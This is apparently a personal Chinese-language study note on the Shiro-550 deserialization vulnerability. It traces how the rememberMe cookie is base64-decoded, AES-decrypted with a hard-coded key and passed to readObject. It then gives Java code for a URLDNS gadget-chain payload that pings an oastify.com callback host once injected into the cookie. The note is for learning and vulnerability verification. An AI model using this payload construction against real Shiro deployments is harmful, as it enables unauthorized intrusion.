0x00前言
结束了cc链的学习,准备学习一手shiro反序列化漏洞嘛,这个漏洞其实出现了蛮久了是这两年攻防才把它逐渐的提上来,也大概知道这个漏洞的原理就是加迷是用的aes而且密钥是固定的,然后又会解密反序列化操作,如果密钥被知道了就会造成反序列化漏洞。
前面cc链的笔记写得比较白话一点,主要是给自己记录一下,然后后面自己也懒就没有再仔细的写了,大多都写的自己不懂的地方,后面到shiro的话就写得会仔细一点,方便自己以后查阅吧。
环境搭建:
- jdk8u65:https://www.oracle.com/java/technologies/downloads/archive/
- tomcat:Apache Tomcat® - Apache Tomcat 8 Software Downloads
- 配置的话建议直接用p神搭建好的shirodemo方便快捷:GitHub - phith0n/JavaThings: Share Things Related to Java - Java安全漫谈笔记相关内容
下好p神的demo后设置里面增加应用程序,把tomcat增加进去
然后在编辑配置:
0x01分析
数据包分析
我们还是从一个漏洞发现者的角度来发现这个漏洞而不是调试的心态,先要根据我们了解的漏洞原理应该是shrio组件在对用户输入的账号密码
在我们提交选择登录的时候然后输入账号密码
都会返回一个cookie然后我无论操作什么等会带着这个cookie
Cookie源码段分析
这就是cookie的功能相当于保存密码一样,在java中这种的存在一般就是序列化和反序列化来实现的,我们就去看一下shiro对这个cookie的管理,直接找到一个名字就很舒服的类CookieRememberMeManager
,在这个类里面找到一个方法getRememberedSerializedIdentity
这个名字就很好读起来就是"获取序列化化后的身份认证信息
大概就是判断是不是http请求不是的化返回null,是的化获取cookie值,然后进行base64解码。往上看谁调用了这个函数找到了一个接口方法
然后继续找到实现方法,在方法getRememberedPrincipals
找到了调用
在这里把我们base64解码后的信息赋值给一个byte数组然后,用convertBytesToPrincipals
去处理这个数组追进去这个函数
decrypt解密的分析
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
这去获取加密服务
cipherService.decrypt(encrypted, getDecryptionCipherKey());
这个方法看一下参数
第一个参数是解密的,后面是加密解密的key,跟进去这个方法跟到setDecryptionCipherKey
追踪调用到setCipherKey(byte[] cipherKey)
然后找调用方法
在这个setCipherKey
方法中看到这个这个方法后面那个大写的应该就是我们要找的密钥了
最后跟进来找到一个final的变量
在这找的这个加密的key。
crypt加密过程解析
我们知道了key是固定的以后在前面看到那个反序列化的函数,在前面那个函数哪里进入到序列化的函数里面
跟进函数后在找到接口
发现有两个实现方法,两个都是shiro包的对象,然后发现两个对象调用的反序列化都是原生的readObject,这个就是比较好的入口点了
说实话我很想去自己跟踪一遍整个加密流程,但是我调试了一遍后发现自己猪脑过载了,大概读了一下
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
在这里调用了CipherService.decrypt()
跟进去看了整个方法,跟进实现
跟进去看了一遍我猪脑过载也没看懂,大概就是这是个对称加密嘛(因为只用了一个key进行加密解密),然后整个key是固定,反序列化的流程是先base64解密,然后AES解密然后反序列化。理论成立开始实战。
0x02构造payload
利用链的话选择URLdns链吧,链子的话就用以前的链子
public class URLDNSEXP {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://jj60ukmu3tpbfoo4v70uc3725tbjz8.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
//unserialize("ser.bin");
}
序列化数据进去dnslog是用bp启动的,然后把序列化后的字符串给python脚本加密最后输出的值
然后拿着我们的值去包里面改值
把值贴上去以后发送包,发现了请求出现
0x03小结
本篇笔记主要是用来记录shiro的原理,后续的利用应该是没学习到的cb链子和cc11
标签:cipherService,加密,encrypted,decrypt,shiro550,byte,序列化 From: https://www.cnblogs.com/0x3e-time/p/16932218.html